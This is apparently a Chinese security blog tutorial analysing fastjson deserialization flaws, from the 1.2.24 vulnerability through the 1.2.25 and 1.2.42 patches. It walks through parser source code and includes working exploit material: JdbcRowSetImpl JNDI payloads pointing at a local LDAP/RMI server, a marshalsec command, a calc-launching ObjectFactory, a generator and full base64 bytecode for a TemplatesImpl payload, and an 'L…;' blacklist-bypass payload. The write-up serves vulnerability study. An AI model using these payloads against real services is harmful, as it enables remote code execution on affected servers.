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其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。
就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。
类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是把大佬们的文要细致些。
本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。
文章内容如下:
本文实验代码均上传github,那么想要好好学习的小伙伴请打开idea,配合食用。
fastjson组件是阿里巴巴开发的反序列化与序列化组件,具体细节可以参考github文档
组件api使用方法也很简洁
//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型 VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
我们通过demo来使用一下这个组件
以下使用测试均是基于1.2.24版本的fastjson jar包
靶机搭建需要存在漏洞的jar包,但是在github上通常会下架存在漏洞的jar包。
我们可以从maven仓库中找到所有版本jar包,方便漏洞复现。
先构建需要序列化的User类:
User.java
package com.fastjson; public class User { private String name; private int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
再使用fastjson组件
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; public class Main { public static void main(String[] args) { //创建一个用于实验的user类 User user1 = new User(); user1.setName("lala"); user1.setAge(11); //序列化 String serializedStr = JSON.toJSONString(user1); System.out.println("serializedStr="+serializedStr); //通过parse方法进行反序列化,返回的是一个JSONObject Object obj1 = JSON.parse(serializedStr); System.out.println("parse反序列化对象名称:"+obj1.getClass().getName()); System.out.println("parse反序列化:"+obj1); //通过parseObject,不指定类,返回的是一个JSONObject Object obj2 = JSON.parseObject(serializedStr); System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName()); System.out.println("parseObject反序列化:"+obj2); //通过parseObject,指定类后返回的是一个相应的类对象 Object obj3 = JSON.parseObject(serializedStr,User.class); System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName()); System.out.println("parseObject反序列化:"+obj3); } }
以上使用了三种形式反序列化
结果如下:
//序列化 serializedStr={"age":11,"name":"lala"} //parse({..})反序列化 parse反序列化对象名称:com.alibaba.fastjson.JSONObject parse反序列化:{"name":"lala","age":11} //parseObject({..})反序列化 parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"name":"lala","age":11} //parseObject({},class)反序列化 parseObject反序列化对象名称:com.fastjson.User parseObject反序列化:com.fastjson.User@3d71d552
parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。
public static JSONObject parseObject(String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
而parseObject({},class)好像会调用class加载器进行类型转化,但这个细节不是关键,就不研究了
那么三种反序列化方式除了返回结果之外,还有啥区别?
在执行过程调用函数上有不同。
package com.fastjson; import com.alibaba.fastjson.JSON; import java.io.IOException; public class FastJsonTest { public String name; public String age; public FastJsonTest() throws IOException { } public void setName(String test) { System.out.println("name setter called"); this.name = test; } public String getName() { System.out.println("name getter called"); return this.name; } public String getAge(){ System.out.println("age getter called"); return this.age; } public static void main(String[] args) { Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}"); System.out.println(obj); Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}"); System.out.println(obj2); Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class); System.out.println(obj3); } }
结果如下:
//JSON.parse("") name setter called com.fastjson.FastJsonTest@5a2e4553 //JSON.parseObject("") name setter called age getter called name getter called {"name":"thisisname","age":"thisisage"} //JSON.parseObject("",class) name setter called com.fastjson.FastJsonTest@e2144e4
结论:
特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)
之所以parseObject("")有区别就是因为parseObject("")比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。
那么除开正常的序列化,反序列化。
fastjson提供特殊字符段被屏蔽的type
,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。
我们先来看一下这个字段的使用:
//@使用特定修饰符,写入被屏蔽的type序列化 String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); //通过parse方法进行反序列化 Object obj4 = JSON.parse(serializedStr1); System.out.println("parse反序列化对象名称:"+obj4.getClass().getName()); System.out.println("parseObject反序列化:"+obj4); //通过这种方式返回的是一个相应的类对象 Object obj5 = JSON.parseObject(serializedStr1); System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName()); System.out.println("parseObject反序列化:"+obj5);
//序列化 serializedStr1={"被屏蔽的type":"com.fastjson.User","age":11,"name":"lala"} //parse反序列化 parse反序列化对象名称:com.fastjson.User parseObject反序列化:com.fastjson.User@1cf4f579 //parseObject反序列化 parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject parseObject反序列化:{"name":"lala","age":11}
这边在调试的时候,可以看到,本该解析出来的被屏蔽的type都没有解析出来
以上我们可以知道当被屏蔽的type输入的时候会特殊解析(不然的话会有被屏蔽的type:com.fastjson.User的键值对),那么自动调用其特定的set,get方法怎么说呢?
我们先建立一个序列化实验用的Person类
Person.java
package com.fastjson; import java.util.Properties; public class Person { //属性 public String name; private String full_name; private int age; private Boolean sex; private Properties prop; //构造函数 public Person(){ System.out.println("Person构造函数"); } //set public void setAge(int age){ System.out.println("setAge()"); this.age = age; } //get 返回Boolean public Boolean getSex(){ System.out.println("getSex()"); return this.sex; } //get 返回ProPerties public Properties getProp(){ System.out.println("getProp()"); return this.prop; } //在输出时会自动调用的对象ToString函数 public String toString() { String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex; return s; } }
被屏蔽的type反序列化实验:
package com.fastjson; import com.alibaba.fastjson.JSON; public class type { public static void main(String[] args) { String eneity3 = "{\"被屏蔽的type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}"; //反序列化 Object obj = JSON.parseObject(eneity3,Person.class); //输出会调用obj对象的tooString函数 System.out.println(obj); } }
结果如下:
Person构造函数 setAge() getProp() [Person Object] name=lala full_name=null, age=13, prop=null, sex=null public name 反序列化成功 private full_name 反序列化失败 private age setAge函数被调用 private sex getsex函数没有被调用 private prop getprop函数被成功调用
可以得知:
决定这个set/get函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build
函数处
在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法
set开头的方法要求如下:
寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。
如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。
真实情况应该是确认存在符合setXxx方法后,会与这个方法绑定一个xxx属性,如果xxx属性不存在则会绑定isXx属性(这里is后第一个字符需要大写,才会被绑定)。并没有调用is开头的方法
自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的,这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性,再之后并没有发现对于调用过程有什么影响。
所以只要目标类中有满足条件的set方法,然后得到的方法变量名存在于序列化字符串中,这个set方法就可以被调用。
如果有老哥确定是否可以调用is方法,可以联系我,非常感谢。
get开头的方法要求如下:
所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合,而getprop方法被成功调用是因为Properties 继承 Hashtable,而Hashtable实现了Map接口,返回类型符合条件。
再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被调用的方法中下断点即可)
那么至此我们可以知道
上面说到readObejct("")还会额外调用toJSON调用所有getter函数,可以不符合要求。
看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。
但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。
对应反序列化攻击利用三要素来说,以上我们就是找到了readObject复写点,下面来探讨反序列化利用链。
我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持被屏蔽的type这个属性的。
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr) parseObject(jsonStr) parseObject(jsonStr,Object.class)
当然JDK版本有特殊需求,在JNDI注入一文中已说过,这里就不再说明
在JNDI注入一文中我们已经介绍了利用链,把漏洞触发代码从
String uri = "rmi://127.0.0.1:1099/aa";//可控uri Context ctx = new InitialContext(); ctx.lookup(uri);
衍生到了
import com.sun.rowset.JdbcRowSetImpl; public class CLIENT { public static void main(String[] args) throws Exception { JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用 JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri JdbcRowSetImpl_inc.setAutoCommit(true); } }
下面尝试用fastjson的被屏蔽的type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!
去看一下这两个函数接口符不符合setter函数的条件
public void setDataSourceName(String var1) throws SQLException
public void setAutoCommit(boolean var1)throws SQLException
完美符合!直接给出payload!
{ "被屏蔽的type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的 "dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit" "autoCommit":true // 再调用setAutoCommit函数,传入true }
java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
package 版本24; import com.alibaba.fastjson.JSON; import com.fastjson.User; public class POC { String payload = "{\"被屏蔽的type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); }
使用工具起一个ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest
之前的ExecTest.class,也不用修改直接上来
import java.io.IOException; import java.util.Hashtable; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; public class ExecTest implements ObjectFactory { public ExecTest() { } public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) { exec("xterm"); return null; } public static String exec(String var0) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException var2) { var2.printStackTrace(); } return ""; } public static void main(String[] var0) { exec("123"); } }
在1.8下编译后使用python起web服务
py -3 -m http.server 8090
基于JDK1.7u21 Gadgets
的触发点TemplatesImple的利用条件比较苛刻:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
JSON.parse(text1,Feature.SupportNonPublicField);
这是因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据
对于 JDK1.7u21 Gadgets 不熟悉的同学,可以参考我之前的文章。
在之前的文章也说过,TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用,但是最后TemplatesImpl这个类的触发点,其实是1.7全版本通用的。(因为修复只砍在了中间环节AnnotationInvocationHandler类)
那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
其利用局限性在于服务端反序列化json的语句必须要支持private属性。
在Github上传的项目中版本24.jdk7u21.java
是网上的payload。需要自己编译生成一个class文件不是很方便。
在版本24.jdk7u21_mine
中自己把7u21链的payload中拿过来,自己改了下,可以自动生成payload。
public class jdk7u21_mine { //最终执行payload的类的原始模型 //ps.要payload在static模块中执行的话,原始模型需要用static方式。 public static class lala{ } //返回一个在实例化过程中执行任意代码的恶意类的byte码 //如果对于这部分生成原理不清楚,参考以前的文章 public static byte[] getevilbyte() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(lala.class.getName()); //要执行的最终命令 String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; //之前说的静态初始化块和构造方法均可,这边用静态方法 cc.makeClassInitializer().insertBefore(cmd); // CtConstructor cons = new CtConstructor(new CtClass[]{}, cc); // cons.setBody("{"+cmd+"}"); // cc.addConstructor(cons); //设置不重复的类名 String randomClassName = "LaLa"+System.nanoTime(); cc.setName(randomClassName); //设置满足条件的父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //获取字节码 byte[] lalaByteCodes = cc.toBytecode(); return lalaByteCodes; } //生成payload,触发payload public static void poc() throws Exception { //生成攻击payload byte[] evilCode = getevilbyte();//生成恶意类的字节码 String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"被屏蔽的type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响 System.out.println(text1); //服务端触发payload ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } //main函数调用以下poc而已 public static void main(String args[]){ try { poc(); } catch (Exception e) { e.printStackTrace(); } } }
可以看到payload使用被屏蔽的type
反序列化了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类。
最终payload输出如下:
{"被屏蔽的type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
7u21 那篇文中总结得到恶意TemplatesImple类需要满足如下条件。
_name
变量 != null_class
变量 == null_bytecodes
变量 != null_bytecodes
是我们代码执行的类的字节码。_bytecodes
中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类_bytecodes
变量对应的类的静态方法或构造方法中。_tfactory
需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类显而易见1-3,5均符合(_class没有赋值即为null)。
然后我们调用满足条件的恶意TemplatesImple类的getOutputProperties方法,完成RCE。这是fastjson将自动调用字段的getter方法导致的,我们看一下getOutputProperties方法是否满足自动调用getter方法的条件:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
那么存在以下三个问题
_tfactory
可以是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?_outputProperties
字段,多了一个_
?在fastjson组件对于以上这一串东西进行解析时,会先解析出被屏蔽的type来还原出TemplatesImpl类。然后再根据之后的字段将TemplatesImpl类的属性赋值,至于赋值的内容会重新进行一次解析。
在看对于赋值内容的解析步骤时,会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。
/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62
那么_tfactory的应有的格式是哪来的呢,从定义来。
/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
/** * A reference to the transformer factory that this templates * object belongs to. */ private transient TransformerFactoryImpl _tfactory = null;
所以之所以_tfactory的json字符串的值为空是OK的。
跟踪_bytecodes
字段的值处理,同样还是刚才的地方,但是由于_bytecodes
的值不是对象,进入另一个赋值方式。
/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
//进去后判断字段类型,当前是class[B byte数组,上面啥都不做,进行解析 ... } JSONArray array = new JSONArray(); parser.parseArray(componentClass, array, fieldName);//进入此处 return (T) toObjectArray(parser, componentClass, array); }
com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)
//type=class [B byte数组 //fieldName = _bytecodes public void parseArray(Type type, Collection array, Object fieldName) { ...//这边就是在根据type类型进行不同的处理 } else {//byte数组进入此处 val = deserializer.deserialze(this, type, i);//在这句进行解析 } array.add(val); checkListResolve(array); } if (lexer.token() == JSONToken.COMMA) { lexer.nextToken(deserializer.getFastMatchToken()); continue; } } } finally { this.setContext(context); }
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { final JSONLexer lexer = parser.lexer; if (lexer.token() == JSONToken.NULL) { lexer.nextToken(JSONToken.COMMA); return null; } //我们输入的json串中, _bytecodes 字段对应的值是String类型字符串,进入此处 if (lexer.token() == JSONToken.LITERAL_STRING) { byte[] bytes = lexer.bytesValue();//进入此处,获取json串的值恢复到byte数组 lexer.nextToken(JSONToken.COMMA); return (T) bytes; }
com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() { return IOUtils.decodeBase64(text, np + 1, sp);//base64解码 }
可见在代码逻辑中,字段的值从String恢复成byte[]
,会经过一次base64解码。这是应该是fastjson在传输byte[]
中做的一个内部规定。序列化时应该也会对byte[]自动base64编码。
try一下,果然如此。
简单的删掉_
试一下:
可以发现,并不会对结果造成什么影响,可见这个_不是必须的。
那么是在哪里对这个_进行了处理呢?
在字段解析之前,会对于当前字段进行一次智能匹配com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { JSONLexer lexer = parser.lexer; FieldDeserializer fieldDeserializer = smartMatch(key);//进入此处,根据json串的字段名来获取字段反序列化解析器。 ...
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch
public FieldDeserializer smartMatch(String key) { if (key == null) { return null; } FieldDeserializer fieldDeserializer = getFieldDeserializer(key); if (fieldDeserializer == null) { boolean startsWithIs = key.startsWith("is"); ... //以下省略了对于is开头的字段的一些判断逻辑。 //好像满足了一定条件,会去跟对应的符合getter,settger的方法名匹配。 //好像又回到is方法可以调用不了,但是真的脑壳疼,漏洞关键也不在于此,就不纠结了。 } } //遍历我们输入的key的每一个字符,匹配第一个-或_替换为空 if (fieldDeserializer == null) { boolean snakeOrkebab = false; String key2 = null; for (int i = 0; i < key.length(); ++i) { char ch = key.charAt(i); if (ch == '_') { snakeOrkebab = true; key2 = key.replaceAll("_", ""); break; } else if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } } //接下来根据替换后的key2,去寻找对应符合getter,setter的方法名进行匹配。
然后在赋值的时候完美触发getoutputProperties方法。
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)
public void setValue(Object object, Object value) { if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { //判断特殊类型 ... //进入getoutputProperties方法的返回值是Properties符合该一项(之前说过) } else if (Map.class.isAssignableFrom(method.getReturnType())) { //进入调用,object是我们的恶意TemplatesImpl类 Map map = (Map) method.invoke(object);
那么以上流程就是_getOutputProperties
字段 => getOutputProperties
方法具体演变的细节。那么以上分析结果也让我们知道加个骚气的小杠-
应该也是可以的。
至此就完成了在知道Templates触发类原理的情况下,变形衍生到了fastjson中完成RCE。
至于Templates恶意类的第二个触发点,xalan 2.7.2的
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,在JDK反序列化Gadgets7u21一文中有补充说明,这里就不多说了。
在讲述完最开始引发漏洞的1.2.24版本之后,其实接下来的部分才是开起此篇的初衷。但是因为基础实在是差+懒,直到现在才开始正文。
在1.2.25版本,针对1.2.24版本进行了修复。
我们可以总结以下1.2.24版本的漏洞产生原因:
被屏蔽的type
该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在被屏蔽的type中的getter、setter函数调用中也被用到)。我们应该对这两个点产生敏感性。
修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于被屏蔽的type
标签进行一个白名单+黑名单的限制机制。
使用万能的idea对两个版本的jar包进行对比
可以注意到,在解析json串的DefaultJSONParser类
中做了一行代码的修改。当输入的键值是被屏蔽的type
时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法
中。
checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport
。参考官方wiki
Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制)
由于checkAutoType中两条路线的代码是穿插的,我们先来看默认AutoTypeSupport为False
时的代码。
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(开启白名单机制)
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); //一些固定类型的判断,此处不会对clazz进行赋值,此处省略 if (!autoTypeSupport) { //进行黑名单匹配,匹配中,直接报错退出 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回 for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } //此处省略了当clazz不为null时的处理情况,与expectClass有关 //但是我们这里输入固定是null,不执行此处代码 //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。 if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } //执行不到此处 return clazz; }
可以得出在默认的AutoTypeSupport为False
时,要求不匹配到黑名单,同时必须匹配到白名单的class才可以成功加载。
看一下默认黑名单,默认白名单(最下面,默认为空)
这条路完全被白名单堵死了,所以默认的情况下是不可能绕过的。我们的两个payload也都被com.sun这一条黑名单给匹配了。
所以接下来所谓的绕过都是在服务端显性开启AutoTypeSupport为True
的情况下进行的。(这是一个很大的限制条件)
我们先来看显性修改AutoTypeSupport为True
时的代码:
1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(关闭白名单机制)
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { //先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单 for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } //同样进行黑名单匹配,如果匹配成功,则报错推出。 //需要注意这百年所谓的匹配都是startsWith开头匹配 for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } //一些固定类型的判断,不会对clazz进行赋值,此处省略 //不匹配白名单中也不匹配黑名单的,进入此处,进行class加载 if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } //对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource if (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } //返回加载的class return clazz; }
可见在显性关闭白名单的情况下,我们也需要绕过黑名单检测,同时加载的类不能继承自Classloader与DataSource。
看似我们只能找到其他的利用类跟黑名单进行硬刚。但我们再跟一下类的加载TypeUtils.loadClass
就会有所发现。
public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className == null || className.length() == 0) { return null; } Class<?> clazz = mappings.get(className); if (clazz != null) { return clazz; } //特殊处理1! if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } //特殊处理2! if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } ...
如果这个className是以[
开头我们会去掉[
进行加载!
但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。
如果这个className是以L
开头;
结尾,就会去掉开头和结尾进行加载!
那么加上L
开头;
结尾实际上就可以绕过所有黑名单。那么理所当然的payload就为:
//1.2.25-41绕过 jndi ldap
{"被屏蔽的type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
//1.2.25-41绕过 7u21
同样加上L;,payload太长了且不唯一,就不写了
在1.2.42中对于1.2.41版本进行了修复,对于两个jar进行对比可以发现DefaultJSONParser.java
没有什么关键的修改。
关键是在ParserConfig.java
中修改了以下两点:
L
和结尾的;
黑名单大致形式如下:
虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny
中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64
,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)
public static long fnv1a_64(String key){ long hashCode = 0xcbf29ce484222325L; for(int i = 0; i < key.length(); ++i){ char ch = key.charAt(i); hashCode ^= ch; hashCode *= 0x100000001b3L; } return hashCode; } //可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算
有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。
再是对于传入的类名,删除开头L
和结尾的;
。
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
// hash算法常量 final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; // 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾 // 可以发现这边只进行了一次删除 if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { className = className.substring(1, className.length() - 1); } // 计算处理后的类名的前三个字符的hash final long h3 = (((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME) ^ className.charAt(2)) * PRIME; if (autoTypeSupport || expectClass != null) { long hash = h3; //基于前三个字符的hash结果继续进行hash运算 //这边一位一位运算比较其实就相当于之前的startswith,开头匹配 for (int i = 3; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; //将运算结果跟白名单做比对 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } //将运算结果跟黑名单做比对 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } //之后就是一样的处理,根据类名加载类
确实有效的干掉了L开头;结尾的payload。
但是可以发现在以上的处理中,只删除了一次开头的L
和结尾的;
